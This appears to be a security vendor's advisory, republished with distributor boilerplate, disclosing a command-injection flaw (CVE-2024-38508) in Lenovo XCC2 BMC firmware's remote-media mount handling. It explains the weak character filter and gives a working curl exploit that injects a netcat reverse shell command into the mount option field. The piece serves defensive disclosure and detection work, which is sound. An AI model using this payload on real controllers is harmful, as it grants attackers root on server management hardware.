Anatomy of an N-Day: Rediscovering CVE-2024-38508 in Lenovo XCC2
Following runZero’s comprehensive summer research initiative evaluating Baseboard Management Controller (BMC) vulnerabilities—which culminated in the “Lights Out” presentations at Black Hat USA 2026 and DEF CON 34—we are systematically lifting the embargos on our technical findings. These disclosures will be continuously tracked via our advisories portal.
For runZero users seeking immediate environmental visibility, active Lenovo XClarity Controller 2 (XCC2) devices can be isolated using the following search query:
The Dynamics of an N-Day Discovery
During our research, we identified a significant vulnerability within firmware version 1.10 of the Lenovo XCC2. Upon reporting the flaw to Lenovo, their product security incident response team (PSIRT) identified it as a duplicate finding—a vulnerability they had already discovered internally, patched, and publicly disclosed as CVE-2024-38508 back in 2024.
As Lenovo noted, firmware v1.10 dates back to March 2023, while the current v8.80 release (July 2026) is fully remediated. In vulnerability research, uncovering an existing, documented flaw is known as an “N-day” discovery. While the vendor possesses a fix, the reality is that numerous targets running outdated firmware remain exposed on both internal and external networks.
The Persistent Challenge of BMC Patching
Lenovo’s rapid identification of the duplicate finding highlights excellent vendor responsiveness. However, it also underscores a systemic IT operations failure: administrators rarely apply BMC firmware updates. Because BMC updates lack practical automation features and demand scheduled downtime, they are frequently bypassed. Consequently, even when patches exist, BMCs remain inherently vulnerable and serve as highly attractive targets for threat actors.
Furthermore, AI-assisted vulnerability hunting does not inherently possess historical context. Even with access to extensive CVE databases, an AI assistant cannot automatically correlate a newly formulated exploit against a vaguely described historical CVE. For CVE-2024-38508, the public record simply cited a “privilege escalation vulnerability” enabling “command injection via a specially crafted request.” Vendor PSIRTs are intentionally opaque regarding exploitation prerequisites, paths, and payloads, making it impossible to map new findings to old CVEs without direct vendor collaboration.
Technical Advisory: Lenovo XCC2 Remote-Media Privilege Escalation
Despite being a patched vulnerability, publishing the exact mechanics of CVE-2024-38508 provides critical value to network defenders constructing indicators of compromise (IoCs) and detection rules.
Executive Summary
The XCC2 remote-media transport processes the /bin/mount command by formatting it as a single string and passing it to a shell operating within the root-privileged xferd file-transfer daemon. Two parameters controlled by the requester—the SMB domain and the mount option string—are injected into this command line. The application’s character filter fails to sanitize shell metacharacters. Consequently, an authenticated user possessing mere Remote-Media (Operator-class) privileges can embed command separators or substitutions into these fields, achieving root execution on the controller.
Threat Impact & Attacker Value
This vulnerability grants a low-privileged, authenticated user arbitrary command execution as root on the management controller. Because the exploit occurs post-authentication at the Operator level (rather than full Administrator), the attacker base is significantly broader. Executing as root via the xferd daemon grants total dominion over the BMC: attackers can alter controller state, manipulate credentials, pivot to the managed host, and abuse out-of-band console functions—all without requiring malformed or oversized input strings.
Exploitation Mechanics
The remote-media mount assembly occurs within libvmtrans.so. The function mount_remote_folder constructs the command as /bin/mount -t %s %s %s %s %s %s %s %s %s. The request’s SMB domain populates an -o domain=”%s” fragment, while the mount-option string populates an -o %s -o timeo=10,retry=0 fragment. This raw string is then executed by proc_system.
The filter applied to the domain and mountoption fields is dangerously narrow, rejecting only spaces, double quotes, apostrophes, forward slashes, and exclamation marks. Crucially, it ignores shell metacharacters like ;, $, `, <, >, |, and &.
An attacker can close the option string and append a new command (e.g., mountoption=vers=3.0;<command>) or utilize command substitution inside the quoted domain field (e.g., domain=x$(<command>)).
The web frontend requires JWT authentication and registers the endpoint POST /api/providers/rp_vm_remote_connect. The following curl command demonstrates the exploit payload targeting this endpoint to achieve a reverse shell:
curl -sk -X POST https://example.lan/api/providers/rp_vm_remote_connect \
-H "Authorization: Bearer $JWT" \
-d 'Url=//192.0.2.20/share/boot.iso' \
-d 'Protocol=0' \
-d 'Write=0' \
-d 'Credential=svc:password' \
-d 'Domain=WORKGROUP' \
-d 'Option=vers=3.0;/bin/busybox nc 192.0.2.10 4444 -e /bin/sh'
The handler returns a standard mount status rather than command output ({“return”:0}). Ultimately, proc_system() executes the following concatenated string as root:
Disclosure Timeline
| Date | Event |
|---|---|
| July 18, 2026 | Initial findings discovered and documented by runZero (with AI assistance). |
| July 21, 2026 | CVE-2026-65201 reserved. |
| August 28, 2026 | Reported to CERT/CC via VINCE (VU#216901). |
| August 31, 2026 | CERT/CC notified Lenovo. |
| September 1, 2026 | Transferred CVE-2026-65201 ownership to Lenovo. |
| September 2, 2026 | Lenovo notified CERT/CC of the duplicate nature of the report, citing CVE-2024-38508. |
| September 17, 2026 | runZero confirmed with CERT/CC that the CVE-2024-38508 identification is correct. |
| September 21, 2026 | Disclosure draft shared with Lenovo; minor edits implemented. |
| September 23, 2026 | Public disclosure released. |
About runZero
runZero, a network discovery and asset inventory solution, was founded in 2018 by HD Moore, the creator of Metasploit. HD envisioned a modern active discovery solution that could find and identify everything on a network–without credentials. As a security researcher and penetration tester, he often employed benign ways to get information leaks and piece them together to build device profiles. Eventually, this work led him to leverage applied research and the discovery techniques developed for security and penetration testing to create runZero.
About Version 2 Limited
Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.
Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.











